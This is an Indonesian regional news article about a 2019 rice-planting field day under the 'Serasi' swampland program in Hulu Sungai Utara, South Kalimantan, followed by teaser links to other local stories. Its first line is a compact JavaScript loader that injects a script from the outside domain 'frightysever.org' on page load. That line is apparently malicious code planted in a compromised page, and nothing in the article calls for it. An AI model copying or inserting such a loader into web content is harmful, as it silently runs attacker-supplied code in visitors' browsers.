(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Memasuki musim penghujan, Dinas Pertanian Kabupaten Hulu Sungai Utara (HSU) bersama puluhan petani di desa Panyiuran, Kecamantan Amuntai Selatan menggelar Tanam perdana sekaligus kegiatan Hari Lapang Tani tahun 2019, Selasa (24/12).
Lewat program Selamatkan Rawa Sejahterakan Petani (Serasi) ini dihadiri Wakil Bupati HSU, Dinas Pertanian, Camat, pejabat Forkopimda, kepala desa serta para petani desa Panyiuran.
Salah satu metode pemberdayaan melalui pertemuan antara para petani, peneliti dan penyuluh saling tukar menukar informasi tentang teknologi pertanian yang diterapkan bisa menghasilkan umpan balik dari petani.
Plt Kepala Dinas Pertanian HSU H Yuli Hertawan mengatakan, program selamatkan rawa sejahterakan petani ini adalah program pemerintah di tahun 2019 dalam upaya meningkatkan pemanfaatan lahan rawa di Indonesia.
Menurut Yuli, tahun 2019 ini dipilih 2 provinsi dalam program tersebut yakni Sumatera Selatan dan Kalimantan Selatan, termasuk Kabupaten Hulu Sungai Utara (HSU).
“Kita mendapat target untuk tahun 2019 sebanyak 594 hektare lahan, diharapkan panen padi tidak lagi 1 kali dalam setahun, tapi 2 kali dalam setahun, dimulai dengan cara memperbaiki infrastruktur lahan agar pada saat musim kemarau tidak terjadi kekeringan dan pada saat musim hujan air berlimpah bisa diatur,” terang Yuli.
Selain itu, ia menyebut melalui program Serasi para petani dituntut agar dapat melakukan tanam padi dua kali setahun. Para petani dibantu oleh pemerintah mulai dari infrastruktur sampai dengan bibit benih.
“Kita berharap dengan pengaturan melalui pompa infrastruktur dan
pedampingan penyuluh kepada para kelompok tani agar tetap konsisten melakukan dua kali tanam dalam satu tahun,” harapnya.
Sementara itu, dalam arahannya Wakil Bupati HSU H Husairi Abdi memberikan apresiasi akan adanya peluang ini bagi para petani.
Ia menghimbau kepada para penyuluh pertanian agar melakukan segala upaya yang dapat membantu para petani, sehingga para petani lebih sejahtera sekaligus memfasilitasi apa yang menjadi kendala para petani.
“Selama ini hasil petani kita mengalami surplus (kenaikan) seandainya tidak mendatangkan beras dari luar Amuntai sekali pun, saya yakin kita bisa menghidupi Kabupaten HSU ini, karena petani kita bisa menghasilkan panen 2 kali setahun,” ujar Husairi.
Pada kesempatan ini diserahkan bantuan 2 unit sarana angkut dan 18 unit kendaran roda dua untuk para penyuluh pertanian.(dew)
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 150 ekor kucing jantan di Kota Banjarbaru, Kalimantan Selatan (Kalsel) mendapat… Read More
This website uses cookies.